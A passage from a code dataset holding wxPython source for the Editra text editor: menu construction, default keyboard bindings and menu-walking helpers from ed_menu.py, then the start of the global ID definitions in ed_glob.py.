viewmenu.AppendSeparator()\n viewmenu.AppendEx(ed_glob.ID_GOTO_LINE, _(\"&Goto Line\"),\n _(\"Goto Line Number\"))\n viewmenu.AppendEx(ed_glob.ID_GOTO_MBRACE, _(\"Goto Matching Brace\"),\n _(\"Move caret matching brace\"))\n viewmenu.AppendSeparator()\n viewmenu.AppendEx(ed_glob.ID_NEXT_POS, _(\"Next Position\"),\n _(\"Goto next position in history.\"))\n viewmenu.AppendEx(ed_glob.ID_PRE_POS, _(\"Previous Position\"),\n _(\"Goto previous position in history.\"))\n viewmenu.AppendSeparator()\n viewmenu.AppendEx(ed_glob.ID_NEXT_MARK, _(\"Next Bookmark\"),\n _(\"View Line of Next Bookmark\"))\n viewmenu.AppendEx(ed_glob.ID_PRE_MARK, _(\"Previous Bookmark\"),\n _(\"View Line of Previous Bookmark\"))\n viewmenu.AppendSeparator()\n viewmenu.AppendEx(ed_glob.ID_SHOW_SB, (\"Status &Bar\"),\n _(\"Show Status Bar\"), wx.ITEM_CHECK)\n viewmenu.AppendEx(ed_glob.ID_VIEW_TOOL, _(\"&Toolbar\"),\n _(\"Show Toolbar\"), wx.ITEM_CHECK)\n\n # Attach to menubar\n self.Append(viewmenu, _(\"&View\"))\n self._menus['view'] = viewmenu\n\n def GenFormatMenu(self):\n \"\"\"Makes and attaches the format menu\n @return: None\n\n \"\"\"\n formatmenu = EdMenu()\n formatmenu.AppendEx(ed_glob.ID_FONT, _(\"&Font\"),\n _(\"Change Font Settings\"))\n formatmenu.AppendSeparator()\n formatmenu.AppendEx(ed_glob.ID_TOGGLECOMMENT, _(\"Toggle Comment\"),\n _(\"Toggle comment on the selected line(s)\"))\n formatmenu.AppendSeparator()\n\n formatmenu.AppendEx(ed_glob.ID_INDENT, _(\"Indent Lines\"),\n _(\"Indent the selected lines\"))\n formatmenu.AppendEx(ed_glob.ID_UNINDENT, _(\"Unindent Lines\"),\n _(\"Unindent the selected lines\"))\n formatmenu.AppendSeparator()\n formatmenu.AppendEx(ed_glob.ID_TO_UPPER, _(\"Uppercase\"),\n _(\"Convert selected text to all uppercase letters\"))\n formatmenu.AppendEx(ed_glob.ID_TO_LOWER, _(\"Lowercase\"),\n _(\"Convert selected text to all lowercase letters\"))\n formatmenu.AppendSeparator()\n formatmenu.AppendEx(ed_glob.ID_USE_SOFTTABS, _(\"Use Soft Tabs\"),\n _(\"Insert spaces instead of tab \"\n \"characters with tab key\"), wx.ITEM_CHECK)\n formatmenu.AppendEx(ed_glob.ID_WORD_WRAP, _(\"Word Wrap\"),\n _(\"Wrap Text Horizontally\"), wx.ITEM_CHECK)\n formatmenu.AppendSeparator()\n\n # Whitespace submenu\n whitespace = self._menus['whitespaceformat'] = EdMenu()\n whitespace.AppendEx(ed_glob.ID_SPACE_TO_TAB, _(\"Spaces to Tabs\"),\n _(\"Convert spaces to tabs in selected/all text\"))\n whitespace.AppendEx(ed_glob.ID_TAB_TO_SPACE, _(\"Tabs to Spaces\"),\n _(\"Convert tabs to spaces in selected/all text\"))\n whitespace.AppendEx(ed_glob.ID_TRIM_WS, _(\"Trim Trailing Whitespace\"),\n _(\"Remove trailing whitespace\"))\n formatmenu.AppendMenu(ed_glob.ID_WS_FORMAT, _(\"Whitespace\"), whitespace,\n _(\"Whitespace formating commands\"))\n\n # Line EOL formatting submenu\n lineformat = self._menus['lineformat'] = EdMenu()\n lineformat.AppendEx(ed_glob.ID_EOL_MAC, _(\"Old Macintosh (\\\\r)\"),\n _(\"Format all EOL characters to %s Mode\") % \\\n _(u\"Old Macintosh (\\\\r)\"), wx.ITEM_CHECK)\n lineformat.AppendEx(ed_glob.ID_EOL_UNIX, _(\"Unix (\\\\n)\"),\n _(\"Format all EOL characters to %s Mode\") % \\\n _(u\"Unix (\\\\n)\"), wx.ITEM_CHECK)\n lineformat.AppendEx(ed_glob.ID_EOL_WIN, _(\"Windows (\\\\r\\\\n)\"),\n _(\"Format all EOL characters to %s Mode\") % \\\n _(\"Windows (\\\\r\\\\n)\"), wx.ITEM_CHECK)\n formatmenu.AppendMenu(ed_glob.ID_EOL_MODE, _(\"EOL Mode\"), lineformat,\n _(\"End of line character formatting\"))\n\n # Attach to menubar\n self.Append(formatmenu, _(\"F&ormat\"))\n self._menus['format'] = formatmenu\n\n def GenSettingsMenu(self):\n \"\"\"Makes and attaches the settings menu\n @return: None\n\n \"\"\"\n settingsmenu = EdMenu()\n settingsmenu.AppendEx(ed_glob.ID_AUTOCOMP, _(\"Auto-Completion\"),\n _(\"Use Auto Completion when available\"), wx.ITEM_CHECK)\n settingsmenu.AppendEx(ed_glob.ID_AUTOINDENT, _(\"Auto-Indent\"),\n _(\"Toggle Auto-Indentation functionality\"),\n wx.ITEM_CHECK)\n settingsmenu.AppendEx(ed_glob.ID_BRACKETHL, _(\"Bracket Highlighting\"),\n _(\"Highlight Brackets/Braces\"), wx.ITEM_CHECK)\n settingsmenu.AppendEx(ed_glob.ID_FOLDING, _(\"Code Folding\"),\n _(\"Toggle Code Folding\"), wx.ITEM_CHECK)\n settingsmenu.AppendEx(ed_glob.ID_SYNTAX, _(\"Syntax Highlighting\"),\n _(\"Color Highlight Code Syntax\"), wx.ITEM_CHECK)\n\n settingsmenu.AppendSeparator()\n\n # Lexer Menu Appended later by main frame\n self.Append(settingsmenu, _(\"&Settings\"))\n self._menus['settings'] = settingsmenu\n\n self.CreateLexerMenu()\n\n def GenToolsMenu(self):\n \"\"\"Makes and attaches the tools menu\n @return: None\n\n \"\"\"\n toolsmenu = EdMenu()\n toolsmenu.AppendEx(ed_glob.ID_COMMAND, _(\"Editor Command\"),\n _(\"Goto command buffer\"))\n toolsmenu.AppendEx(ed_glob.ID_PLUGMGR, _(\"Plugin Manager\"),\n _(\"Manage, Download, and Install plugins\"))\n toolsmenu.AppendEx(ed_glob.ID_STYLE_EDIT, _(\"Style Editor\"),\n _(\"Edit the way syntax is highlighted\"))\n toolsmenu.AppendSeparator()\n# macro = EdMenu()\n# macro.Append(ed_glob.ID_MACRO_START, _(\"Record Macro\"),\n# _(\"Start macro recording\"))\n# macro.Append(ed_glob.ID_MACRO_STOP, _(\"Stop Recording\"),\n# _(\"Stop macro recording\"))\n# macro.Append(ed_glob.ID_MACRO_PLAY, \"Play Macro\", \"Play Macro\")\n# toolsmenu.AppendMenu(wx.NewId(), _(\"Macros\"), macro, _(\"Macro Tools\"))\n\n # Attach to menubar\n self.Append(toolsmenu, _(\"&Tools\"))\n self._menus['tools'] = toolsmenu\n\n def GenHelpMenu(self):\n \"\"\"Makes and attaches the help menu\n @return: None\n\n \"\"\"\n helpmenu = EdMenu()\n helpmenu.AppendEx(ed_glob.ID_ABOUT, _(\"&About...\"),\n _(\"About\") + u\"...\")\n helpmenu.AppendEx(ed_glob.ID_HOMEPAGE, _(\"Project Homepage...\"),\n _(\"Visit the project homepage %s\") % ed_glob.HOME_PAGE)\n helpmenu.AppendEx(ed_glob.ID_DOCUMENTATION,\n _(\"Online Documentation...\"),\n _(\"Online project documentation and help guides\"))\n helpmenu.AppendEx(ed_glob.ID_TRANSLATE, _(\"Translate Editra...\"),\n _(\"Editra translations project\"))\n helpmenu.AppendEx(ed_glob.ID_BUG_TRACKER, _(\"Bug Tracker...\"))\n helpmenu.AppendEx(ed_glob.ID_CONTACT, _(\"Feedback\"),\n _(\"Send bug reports and suggestions\"))\n\n # Attach to menubar\n self.Append(helpmenu, _(\"&Help\"))\n self._menus['help'] = helpmenu\n\n @classmethod\n def GetKeyBinder(cls):\n \"\"\"Return the classes keybinder object\n @return: KeyBinder\n\n \"\"\"\n return cls.keybinder\n\n def GetMenuByName(self, namestr):\n \"\"\"Find and return a menu by name\n @param namestr: menuitems label\n @return: menuitem or None if not found\n\n \"\"\"\n return self._menus.get(namestr.lower(), None)\n\n def GetMenuMap(self):\n \"\"\"Get a mapping of all menus to (menu id, menu label)\n @return: list of dict\n\n \"\"\"\n menumap = list()\n for menu in self.GetMenus():\n menumap.append(WalkMenu(menu[0], menu[1], dict()))\n return menumap\n\n @classmethod\n def NewKeyProfile(cls, pname):\n \"\"\"Make a new key profile that is a clone of the current one\n @param pname: Name to give new profile\n\n \"\"\"\n cls.keybinder.SetProfileName(pname)\n cls.keybinder.SaveKeyProfile()\n\n def OnCreateLexerMenu(self, msg):\n \"\"\"Recreate the lexer menu\"\"\"\n self.CreateLexerMenu()\n\n def OnLoadProfile(self, msg):\n \"\"\"Load and set the current key profile\n @param msg: ed_msg.EDMSG_MENU_LOADPROFILE\n @note: if message data is None the default bindings will be set\n\n \"\"\"\n keyprof = msg.GetData()\n if keyprof is not None:\n self.SetKeyProfile(keyprof)\n else:\n EdMenuBar.keybinder.LoadDefaults()\n\n def OnRebind(self, msg):\n \"\"\"Rebind all menu shortcuts when a rebind message is recieved\n @param msg: ed_msg.EDMSG_MENU_REBIND\n\n \"\"\"\n self.RebindKeys()\n\n def RebindKeys(self):\n \"\"\"Reset all key bindings based on current binder profile\"\"\"\n for menu in self.GetMenus():\n for item in IterateMenuItems(menu[0]):\n item_id = item.GetId()\n binding = EdMenuBar.keybinder.GetBinding(item_id)\n empty_binding = not len(binding)\n if not empty_binding:\n # Verify binding and clear invalid ones from binder\n tmp = [key.title() for key in binding.strip().split(u'+')]\n nctrl = len([key for key in tmp\n if key not in (u'Ctrl', u'Alt', u'Shift')])\n if len(tmp) > 3 or not nctrl:\n EdMenuBar.keybinder.SetBinding(item_id, u'')\n continue\n\n # Reset the binding in the binder to ensure it is\n # correctly formatted.\n binding = u\"\\t\" + u\"+\".join(tmp)\n EdMenuBar.keybinder.SetBinding(item_id, binding)\n\n clbl = item.GetText()\n # Update the item if the shortcut has changed\n if ('\\t' in clbl and (not clbl.endswith(binding) or empty_binding)) or \\\n ('\\t' not in clbl and not empty_binding):\n # wxBug? Getting the text of a menuitem is supposed to\n # return it with the accelerators but under gtk the string\n # has underscores '_' where it was supposed to have '&'\n if wx.Platform == '__WXGTK__':\n clbl = clbl.replace('_', '&', 1)\n item.SetText(clbl.split('\\t')[0].strip() + binding)\n\n def ResetIcons(self):\n \"\"\"Walk through each menu item in all of the bars menu and\n reapply icons where possible.\n @status: Dont use, sort of works on mac, does nothing on gtk, and causes\n graphical glitches on msw.\n\n \"\"\"\n for menu in self.GetMenus():\n WalkAndSetBitmaps(menu[0])\n\n @classmethod\n def SaveKeyProfile(cls):\n \"\"\"Save the current key profile\"\"\"\n cls.keybinder.SaveKeyProfile()\n\n def SetKeyProfile(self, pname):\n \"\"\"Set the current key profile and update the bindings\n @param pname: Name of keyprofile to load\n\n \"\"\"\n EdMenuBar.keybinder.LoadKeyProfile(pname)\n self.RebindKeys()\n\n#-----------------------------------------------------------------------------#\n\n#---- Private Objects/Functions ----#\n\n_DEFAULT_BINDING = { # File Menu\n ed_glob.ID_NEW : (u\"Ctrl\", u\"N\"),\n ed_glob.ID_NEW_WINDOW : (u\"Ctrl\", u\"Shift\", u\"N\"),\n ed_glob.ID_OPEN : (u\"Ctrl\", u\"O\"),\n ed_glob.ID_CLOSE : (u\"Ctrl\", u\"W\"),\n ed_glob.ID_CLOSE_WINDOW : (u\"Ctrl\", u\"Shift\", u\"W\"),\n ed_glob.ID_SAVE : (u\"Ctrl\", u\"S\"),\n ed_glob.ID_SAVEAS : (u\"Ctrl\", u\"Shift\", u\"S\"),\n ed_glob.ID_PRINT_SU : (u\"Ctrl\", u\"Shift\", u\"P\"),\n ed_glob.ID_PRINT : (u\"Ctrl\", u\"P\"),\n ed_glob.ID_EXIT : (u\"Ctrl\", u\"Q\"),\n\n # Edit Menu\n ed_glob.ID_UNDO : (u\"Ctrl\", u\"Z\"),\n ed_glob.ID_REDO : (u\"Ctrl\", u\"Shift\", u\"Z\"),\n ed_glob.ID_CUT : (u\"Ctrl\", u\"X\"),\n ed_glob.ID_COPY : (u\"Ctrl\", u\"C\"),\n ed_glob.ID_PASTE : (u\"Ctrl\", u\"V\"),\n ed_glob.ID_PASTE_AFTER : (u\"Ctrl\", u\"Shift\", u\"V\"),\n ed_glob.ID_CYCLE_CLIPBOARD : (u\"Ctrl\", u\"I\"),\n ed_glob.ID_SELECTALL : (u\"Ctrl\", u\"A\"),\n ed_glob.ID_COLUMN_MODE : (u\"Ctrl\", u\"Shift\", u\"|\"),\n ed_glob.ID_LINE_AFTER : (u\"Ctrl\", u\"L\"),\n ed_glob.ID_LINE_BEFORE : (u\"Ctrl\", u\"Shift\", u\"L\"),\n ed_glob.ID_CUT_LINE : (u\"Ctrl\", u\"D\"),\n ed_glob.ID_DELETE_LINE : (u\"Ctrl\", u\"Shift\", \"D\"),\n ed_glob.ID_COPY_LINE : (u\"Ctrl\", u\"Y\"),\n ed_glob.ID_DUP_LINE : (u\"Ctrl\", u\"Shift\", u\"C\"),\n ed_glob.ID_JOIN_LINES : (u\"Ctrl\", u\"J\"),\n ed_glob.ID_TRANSPOSE : (u\"Ctrl\", u\"T\"),\n ed_glob.ID_LINE_MOVE_UP : (u\"Ctrl\", u\"Shift\", u\"Up\"),\n ed_glob.ID_LINE_MOVE_DOWN : (u\"Ctrl\", u\"Shift\", u\"Down\"),\n ed_glob.ID_ADD_BM : (u\"Ctrl\", u\"B\"),\n ed_glob.ID_SHOW_AUTOCOMP : (u\"Ctrl\", u\"Space\"),\n ed_glob.ID_SHOW_CALLTIP : (u\"Ctrl\", u\"9\"),\n ed_glob.ID_FIND : (u\"Ctrl\", u\"Shift\", u\"F\"),\n ed_glob.ID_FIND_PREVIOUS : (u\"Shift\", u\"F3\"),\n ed_glob.ID_FIND_NEXT : (u\"F3\",),\n ed_glob.ID_FIND_REPLACE : (u\"Ctrl\", u\"R\"),\n ed_glob.ID_QUICK_FIND : (u\"Ctrl\", u\"F\"),\n ed_glob.ID_FIND_SELECTED : (u\"Ctrl\", u\"F3\"),\n\n # View Menu\n ed_glob.ID_ZOOM_IN : (u\"Ctrl\", u\"+\"),\n ed_glob.ID_ZOOM_OUT : (u\"Ctrl\", u\"-\"),\n ed_glob.ID_ZOOM_NORMAL : (u\"Ctrl\", u\"0\"),\n ed_glob.ID_GOTO_LINE : (u\"Ctrl\", u\"G\"),\n ed_glob.ID_GOTO_MBRACE : (u\"Ctrl\", u\"Shift\", u\"B\"),\n ed_glob.ID_TOGGLE_FOLD : (u\"Ctrl\", u\"Shift\", u\"T\"),\n ed_glob.ID_NEXT_POS : (u\"Ctrl\", u\"Shift\", u\">\"),\n ed_glob.ID_PRE_POS : (u\"Ctrl\", u\"Shift\", u\"<\"),\n ed_glob.ID_NEXT_MARK : (u\"Alt\", u\"Right\"), # Win/Linux\n ed_glob.ID_PRE_MARK : (u\"Alt\", u\"Left\"), # Win/Linux\n ed_glob.ID_SHOW_SHELF : (u\"Ctrl\", u\"Alt\", u\"S\"),\n ed_glob.ID_PANELIST : (u\"Alt\", u\"1\"), # Win/Linux\n ed_glob.ID_MAXIMIZE_EDITOR : (u\"Ctrl\", u\"M\"),\n\n # Format Menu\n ed_glob.ID_TOGGLECOMMENT : (u\"Ctrl\", u\"1\"),\n ed_glob.ID_INDENT : (u\"Tab\",),\n ed_glob.ID_UNINDENT : (u\"Shift\", u\"Tab\"),\n ed_glob.ID_USE_SOFTTABS : (u\"Ctrl\", u\"Shift\", u\"I\"),\n\n # Tools Menu\n ed_glob.ID_COMMAND : (u\"Ctrl\", u\"E\"),\n ed_glob.ID_RUN_LAUNCH : (u\"F5\",),\n ed_glob.ID_LAUNCH_LAST : (u\"Shift\", u\"F5\")\n }\n\n# Set some platform specific keybindings\nif wx.Platform == '__WXMAC__':\n _DEFAULT_BINDING[ed_glob.ID_NEXT_MARK] = (u\"Ctrl\", u\"Down\")\n _DEFAULT_BINDING[ed_glob.ID_PRE_MARK] = (u\"Ctrl\", u\"Up\")\n _DEFAULT_BINDING[ed_glob.ID_FIND_PREVIOUS] = (u\"Ctrl\", u\"Shift\", u\"G\")\n _DEFAULT_BINDING[ed_glob.ID_FIND_NEXT] = (u\"Ctrl\", u\"G\")\n _DEFAULT_BINDING[ed_glob.ID_GOTO_LINE] = (u\"Ctrl\", u\"Shift\", u\"E\")\n _DEFAULT_BINDING[ed_glob.ID_PANELIST] = (u\"Alt\", u\"Tab\")\n _DEFAULT_BINDING[ed_glob.ID_MAXIMIZE_EDITOR] = (u\"Alt\", u\"M\")\n _DEFAULT_BINDING[ed_glob.ID_FIND_SELECTED] = (u\"Ctrl\", u\"3\")\nelif wx.Platform == '__WXMSW__':\n # FIXME: On Windows if Tab is bound to a menu item it is no longer\n # usable elsewhere such as in the stc control. On Mac/Gtk there\n # are not problems with it.\n _DEFAULT_BINDING[ed_glob.ID_INDENT] = (u\"\",)\nelse:\n pass\n\ndef _FindStringRep(item_id):\n \"\"\"Find the string representation of the given id value\n @param item_id: int\n @return: string or None\n\n \"\"\"\n for obj in dir(ed_glob):\n if getattr(ed_glob, obj) == item_id:\n return obj\n else:\n return None\n\ndef _GetValueFromStr(item_str):\n \"\"\"Get the id value from the string representation of the object\n @param item_str: items variable string\n @return: int or None\n\n \"\"\"\n return getattr(ed_glob, item_str, None)\n\n#---- Public Functions ----#\n\ndef IterateMenuItems(menu):\n \"\"\"Recursively walk and yield menu items as the are found. Only menu\n items are yielded, not submenus or separators.\n @param menu: menu to iterate\n\n \"\"\"\n for item in menu.GetMenuItems():\n if item.IsSubMenu():\n for subitem in IterateMenuItems(item.GetSubMenu()):\n yield subitem\n if not item.IsSeparator():\n yield item\n else:\n continue\n\ndef WalkAndSetBitmaps(menu):\n \"\"\"Recursively walk a menu and its submenus setting bitmaps\n as necessary/available, using the the current theme.\n\n \"\"\"\n for item in menu.GetMenuItems():\n if item.IsSubMenu():\n WalkAndSetBitmaps(item.GetSubMenu())\n else:\n bmp = wx.ArtProvider.GetBitmap(str(item.GetId()), wx.ART_MENU)\n if bmp.IsOk():\n item.SetBitmap(bmp)\n elif not item.GetBitmap().IsNull():\n item.SetBitmap(wx.NullBitmap)\n else:\n continue\n\ndef WalkMenu(menu, label, collection):\n \"\"\"Recursively walk a menu and collect all its sub items\n @param menu: wxMenu to walk\n @param label: the menu's label\n @param collection: dictionary to collect results in\n @return: dict {menulabel : [menu id, (item1 id, label1),]}\n\n \"\"\"\n if label not in collection:\n collection[label] = list()\n\n for item in menu.GetMenuItems():\n i_id = item.GetId()\n if item.IsSubMenu():\n # Ignore dynamically generated menus\n if i_id not in (ed_glob.ID_FHIST, ed_glob.ID_LEXER,\n ed_glob.ID_PERSPECTIVES):\n ilbl = item.GetItemLabelText()\n collection[ilbl] = [i_id, ]\n WalkMenu(item.GetSubMenu(), ilbl, collection)\n else:\n continue\n elif item.IsSeparator():\n continue\n elif _FindStringRep(i_id) is not None:\n lbl = item.GetItemLabelText().split('\\t')[0].strip()\n # wxBug? Even the methods that are supposed to return the text\n # without mnemonics or accelerators on gtk return the string with\n # underscores where the mnemonics '&' are in the original strings\n if wx.Platform == '__WXGTK__':\n lbl = lbl.replace('_', '', 1)\n collection[label].append((i_id, lbl))\n else:\n continue\n return collection\n", "id": "6643907", "language": "Python", "matching_score": 9.820555686950684, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_menu.py" }, { "content": "###############################################################################\n# Name: ed_glob.py #\n# Purpose: Global IDs/objects used throughout Editra #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThis file contains variables that are or may be used in multiple files and\nlibraries within the project. Its purpose is to create a globally accessible\naccess point for all common variables in the project.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_glob.py 67594 2011-04-24 15:24:40Z CJP $\"\n__revision__ = \"$Revision: 67594 $\"\n\n__all__ = [ 'CONFIG', 'SB_INFO', 'VERSION', 'PROG_NAME', 'ID_NEW', 'ID_OPEN',\n 'ID_CLOSE', 'ID_CLOSEALL', 'ID_SAVE', 'ID_SAVEAS', 'ID_SAVEALL',\n 'ID_SAVE_PROFILE', 'ID_LOAD_PROFILE', 'ID_PRINT', 'ID_PRINT_PRE',\n 'ID_PRINT_SU', 'ID_EXIT', 'ID_UNDO', 'ID_REDO', 'ID_CUT',\n 'ID_COPY', 'ID_PASTE', 'ID_SELECTALL', 'ID_ADD_BM',\n 'ID_DEL_ALL_BM', 'ID_LINE_AFTER', 'ID_LINE_BEFORE', 'ID_CUT_LINE',\n 'ID_COPY_LINE', 'ID_JOIN_LINES', 'ID_TRANSPOSE', 'ID_DELETE_LINE',\n 'ID_LINE_MOVE_UP', 'ID_LINE_MOVE_DOWN',\n 'ID_QUICK_FIND', 'ID_PREF', 'ID_ZOOM_OUT',\n 'HOME_PAGE', 'CONTACT_MAIL', 'ID_ZOOM_IN', 'ID_ZOOM_NORMAL',\n 'ID_SHOW_EDGE', 'ID_SHOW_EOL', 'ID_SHOW_LN', 'ID_SHOW_WS',\n 'ID_PERSPECTIVES', 'ID_INDENT_GUIDES', 'ID_VIEW_TOOL',\n 'ID_GOTO_LINE', 'ID_NEXT_MARK', 'ID_PRE_MARK', 'ID_FONT',\n 'ID_EOL_MAC', 'ID_EOL_UNIX', 'ID_EOL_WIN', 'ID_WORD_WRAP',\n 'ID_INDENT', 'ID_UNINDENT', 'ID_TO_UPPER', 'ID_TO_LOWER',\n 'ID_SPACE_TO_TAB', 'ID_TAB_TO_SPACE', 'ID_TRIM_WS',\n 'ID_TOGGLECOMMENT', 'ID_AUTOCOMP', 'ID_AUTOINDENT', 'ID_SYNTAX',\n 'ID_FOLDING', 'ID_BRACKETHL', 'ID_LEXER',\n 'ID_PLUGMGR', 'ID_STYLE_EDIT', 'ID_MACRO_START', 'ID_MACRO_STOP',\n 'ID_MACRO_PLAY', 'ID_ABOUT', 'ID_HOMEPAGE', 'ID_CONTACT',\n 'ID_BUG_TRACKER', 'ID_DOCUMENTATION', 'ID_COMMAND',\n 'ID_USE_SOFTTABS', 'ID_DUP_LINE', 'ID_TRANSLATE',\n 'I18N_PAGE', 'ID_GOTO_MBRACE', 'ID_HLCARET_LINE', 'ID_SHOW_SB',\n 'ID_REVERT_FILE', 'ID_RELOAD_ENC', 'ID_DOCPROP', 'ID_PASTE_AFTER',\n 'ID_COLUMN_MODE', 'ID_PANELIST', 'ID_MAXIMIZE_EDITOR',\n 'ID_NEW_WINDOW', 'ID_TOGGLE_FOLD', 'ID_TOGGLE_ALL_FOLDS',\n 'ID_SAVE_SESSION', 'ID_LOAD_SESSION', 'ID_NEXT_POS', 'ID_PRE_POS',\n 'ID_CYCLE_CLIPBOARD', 'ID_LEXER_CUSTOM', 'ID_SHOW_AUTOCOMP',\n 'ID_SHOW_CALLTIP' ]\n\n#---- Project Info ----#\n# The project info was moved to another module so it could be accessed\n# externally without needing to import anything else. It's imported\n# here with a * until there isn't anyplace left that expects to find\n# these values in this module.\nfrom info import *\n\n#---- End Project Info ----#\n\n#---- Imported Libs/Objects ----#\nimport wx\n\n_ = wx.GetTranslation\n\n#---- WX Compatibility Hacks ----#\nimport wxcompat\n\n#---- Configuration Locations ----#\n# Values set when main loads\nCONFIG = {\n 'ISLOCAL' : False, # Using local config (no abs path)\n 'CONFIG_BASE' : None, # Set if config base is in nonstandard location\n 'INSTALL_DIR' : \"\", # Instal directory\n 'CONFIG_DIR' : \"\", # Root configration directory\n 'CACHE_DIR' : \"\", # Holds temp data about documents\n 'KEYPROF_DIR' : \"\", # System Keybinding\n 'PROFILE_DIR' : \"\", # User Profile Directory\n 'PLUGIN_DIR' : \"\", # User Plugin Dir\n 'SYSPIX_DIR' : \"\", # Editras non user graphics\n 'THEME_DIR' : \"\", # Theme Directory\n 'LANG_DIR' : \"\", # Locale Data Directory\n 'SYS_PLUGIN_DIR' : \"\", # Editra base plugin dir\n 'SYS_STYLES_DIR' : \"\", # Editra base style sheets\n 'TEST_DIR' : \"\", # Test data files dir\n}\n\n# Global logging/application variables\nDEBUG = False\nVDEBUG = False\nSINGLE = True\n\n#---- Object ID's ----#\n# File Menu IDs\nID_NEW = wx.ID_NEW\nID_NEW_WINDOW = wx.NewId()\nID_OPEN = wx.ID_OPEN\nID_FHIST = wx.NewId()\nID_CLOSE = wx.ID_CLOSE\nID_CLOSEALL = wx.ID_CLOSE_ALL\nID_CLOSE_OTHERS = wx.NewId()\nID_CLOSE_WINDOW = wx.NewId()\nID_SAVE = wx.ID_SAVE\nID_SAVEAS = wx.ID_SAVEAS\nID_SAVEALL = wx.NewId()\nID_REVERT_FILE = wx.ID_REVERT_TO_SAVED\nID_RELOAD_ENC = wx.NewId()\nID_SAVE_PROFILE = wx.NewId()\nID_LOAD_PROFILE = wx.NewId()\nID_SAVE_SESSION = wx.NewId()\nID_LOAD_SESSION = wx.NewId()\nID_PRINT = wx.ID_PRINT\nID_PRINT_PRE = wx.ID_PREVIEW\nID_PRINT_SU = wx.NewId()\nID_EXIT = wx.ID_EXIT\n\n# Edit Menu IDs\nID_UNDO = wx.ID_UNDO\nID_REDO = wx.ID_REDO\nID_CUT = wx.ID_CUT\nID_COPY = wx.ID_COPY\nID_PASTE = wx.ID_PASTE\nID_CYCLE_CLIPBOARD = wx.NewId()\nID_PASTE_AFTER = wx.NewId()\nID_SELECTALL = wx.ID_SELECTALL\nID_COLUMN_MODE = wx.NewId()\nID_LINE_EDIT = wx.NewId()\nID_BOOKMARK = wx.NewId()\nID_ADD_BM = wx.NewId()\nID_DEL_BM = wx.ID_REMOVE # Not used in menu anymore\nID_DEL_ALL_BM = wx.NewId()\nID_LINE_AFTER = wx.NewId()\nID_LINE_BEFORE = wx.NewId()\nID_CUT_LINE = wx.NewId()\nID_DELETE_LINE = wx.NewId()\nID_COPY_LINE = wx.NewId()\nID_DUP_LINE = wx.NewId()\nID_JOIN_LINES = wx.NewId()\nID_TRANSPOSE = wx.NewId()\nID_LINE_MOVE_UP = wx.NewId()\nID_LINE_MOVE_DOWN= wx.NewId()\nID_SHOW_AUTOCOMP = wx.NewId()\nID_SHOW_CALLTIP = wx.NewId()\nID_FIND = wx.ID_FIND\nID_FIND_PREVIOUS = wx.NewId()\nID_FIND_NEXT = wx.NewId()\nID_FIND_REPLACE = wx.ID_REPLACE\nID_FIND_SELECTED = wx.NewId()\n\n# Using the system ids automatically disables the menus items\n# when the dialog is open which is not wanted\nif wx.Platform == '__WXMAC__':\n ID_FIND = wx.NewId()\n ID_FIND_REPLACE = wx.NewId()\nID_QUICK_FIND = wx.NewId()\nID_PREF = wx.ID_PREFERENCES\n\n# Preference Dlg Ids\nID_PREF_LANG = wx.NewId()\nID_PREF_AALIAS = wx.NewId()\nID_PREF_AUTOBKUP = wx.NewId()\nID_PREF_AUTO_RELOAD = wx.NewId()\nID_PREF_AUTOCOMPEX = wx.NewId()\nID_PREF_AUTOTRIM = wx.NewId()\nID_PREF_CHKMOD = wx.NewId()\nID_PREF_CHKUPDATE = wx.NewId()\nID_PREF_DLEXER = wx.NewId()\nID_PREF_EDGE = wx.NewId()\nID_PREF_ENCODING = wx.NewId()\nID_PREF_SYNTHEME = wx.NewId()\nID_PREF_TABS = wx.NewId()\nID_PREF_UNINDENT = wx.NewId()\nID_PREF_TABW = wx.NewId()\nID_PREF_INDENTW = wx.NewId()\nID_PREF_FHIST = wx.NewId()\nID_PREF_WSIZE = wx.NewId()\nID_PREF_WPOS = wx.NewId()\nID_PREF_ICON = wx.NewId()\nID_PREF_ICONSZ = wx.NewId()\nID_PREF_MODE = wx.NewId()\nID_PREF_TABICON = wx.NewId()\nID_PRINT_MODE = wx.NewId()\nID_TRANSPARENCY = wx.NewId()\nID_PREF_SPOS = wx.NewId()\nID_PREF_UPDATE_BAR = wx.NewId()\nID_PREF_VIRT_SPACE = wx.NewId()\nID_PREF_WARN_EOL = wx.NewId()\nID_SESSION = wx.NewId()\n\n# View Menu IDs\nID_ZOOM_OUT = wx.ID_ZOOM_OUT\nID_ZOOM_IN = wx.ID_ZOOM_IN\nID_ZOOM_NORMAL = wx.ID_ZOOM_100\nID_HLCARET_LINE = wx.NewId()\nID_SHOW_EDGE = wx.NewId()\nID_SHOW_EOL = wx.NewId()\nID_SHOW_LN = wx.NewId()\nID_SHOW_WS = wx.NewId()\nID_SHOW_SHELF = wx.NewId()\nID_PERSPECTIVES = wx.NewId()\nID_INDENT_GUIDES = wx.NewId()\nID_SHOW_SB = wx.NewId()\nID_VIEW_TOOL = wx.NewId()\nID_SHELF = wx.NewId()\nID_PANELIST = wx.NewId()\nID_GOTO_LINE = wx.NewId()\nID_GOTO_MBRACE = wx.NewId()\nID_TOGGLE_FOLD = wx.NewId()\nID_TOGGLE_ALL_FOLDS = wx.NewId()\nID_NEXT_POS = wx.NewId()\nID_PRE_POS = wx.NewId()\nID_NEXT_MARK = wx.ID_FORWARD\nID_PRE_MARK = wx.ID_BACKWARD\nID_MAXIMIZE_EDITOR = wx.NewId()\n\n# Format Menu IDs\nID_FONT = wx.NewId()\nID_EOL_MODE = wx.NewId()\nID_EOL_MAC = wx.NewId()\nID_EOL_UNIX = wx.NewId()\nID_EOL_WIN = wx.NewId()\nID_USE_SOFTTABS = wx.NewId()\nID_WORD_WRAP = wx.NewId()\nID_INDENT = wx.ID_INDENT\nID_UNINDENT = wx.ID_UNINDENT\nID_TO_UPPER = wx.NewId()\nID_TO_LOWER = wx.NewId()\nID_WS_FORMAT = wx.NewId()\nID_SPACE_TO_TAB = wx.NewId()\nID_TAB_TO_SPACE = wx.NewId()\nID_TRIM_WS = wx.NewId()\nID_TOGGLECOMMENT = wx.NewId()\n\n# Settings Menu IDs\nID_AUTOCOMP = wx.NewId()\nID_AUTOINDENT = wx.NewId()\nID_SYNTAX = wx.NewId()\nID_SYN_ON = 